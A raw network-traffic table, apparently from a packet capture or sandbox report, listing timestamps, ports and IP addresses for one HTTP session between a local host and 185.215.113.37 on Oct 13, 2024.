Oct 13, 2024 06:54:08.915735006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915766954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915798903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915802956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915802956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915817976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915853977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915868998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915906906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915924072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.915957928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.915970087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916007996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916040897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916065931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916080952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916080952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916111946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916163921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916196108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916219950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916245937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916261911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916263103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916280031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916304111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916316986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916344881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916368008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916372061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916402102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916410923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916435003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916454077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916470051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916501999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916533947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916534901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916534901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916568041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916574001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916584969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916601896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916619062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916635990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916668892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916699886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916702032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916702032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916727066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916733980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916759968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916768074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916786909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916805029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916837931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916870117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916893005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916893005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916902065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916904926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916922092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.916937113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.916969061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917001009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917031050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917047024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917047024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917047024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917079926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917097092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917098999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917115927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917131901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917201996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917233944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917244911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917244911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917260885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917269945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917300940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917301893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917330027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917335987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917359114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917370081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917406082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917427063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917427063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917438984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917455912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917473078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917486906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917506933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917538881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917540073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917572975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917606115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917610884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917610884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917639017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917649984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917671919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917675018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.917733908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.917733908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.950588942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.950645924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.950696945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.950701952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.950752974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.950784922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.950784922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.950788021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.950803995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.950851917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.950855970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.950906992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.950927973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.950939894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.950963974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.950994968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951001883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951025009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951054096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951075077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951083899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951109886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951131105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951142073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951164007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951190948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951196909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951231003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951275110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951275110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951282978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951311111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951342106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951378107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951416969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951416969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951416969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951435089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951438904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951468945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951491117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951502085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951527119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951534033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951566935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951590061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951590061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951598883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951603889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951633930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951653004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951666117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951698065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951719999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951719999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951730967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951764107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951780081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951781034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951792955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951826096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951858044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951884985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951905012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951905012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951905012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951905012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951916933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951925993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.951951981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.951983929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.952014923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.952047110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.952079058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.952111006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.952132940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.952132940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.952132940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.952132940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.952132940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.952132940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.952145100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.952163935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.952322960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.968169928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.968225956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.968255043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.968305111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.968331099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.968331099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.968331099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.968338966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.968372107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.968405008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.968436956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:08.968519926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.968519926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.968519926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.968519926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:08.968519926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.003618956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.003670931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.003704071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.003772974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.003823996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.003843069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.003843069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.003843069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.003843069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.003875971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.003942966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.003976107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004021883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004070044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004117012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004120111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004120111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004120111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004120111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004120111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004120111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004165888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004216909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004264116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004311085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004358053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004404068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004414082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004414082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004414082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004414082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004414082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004414082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004456997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004504919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004539013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004575968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004575968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004575968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004586935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004591942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004621029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004653931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004687071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004698992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004698992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004698992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004734993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004736900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004786968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004822969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004873037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004919052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004950047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.004973888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004973888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004973888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004973888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004973888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.004998922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005033016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005064011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005110979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005142927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005173922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005192995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005192995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005192995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005192995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005192995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005192995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005207062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005240917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005271912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005305052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005337000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005371094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005386114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005386114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005386114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005386114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005386114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005386114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005403042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005436897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005467892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005500078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005531073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005563021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005582094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005582094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005582094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005582094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005582094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005582094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005597115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005613089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005629063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005664110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005701065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005712986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005712986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005734921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005767107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005799055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005815029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005815029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005815029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005815983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.005831003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005861998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005892992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005923986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005955935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.005986929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006007910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006007910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006007910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006007910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006007910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006007910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:09.006020069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006052971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006083965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006115913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006148100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:09.006175995 CEST	80	49730	185.215.113.37	192.168.2.4
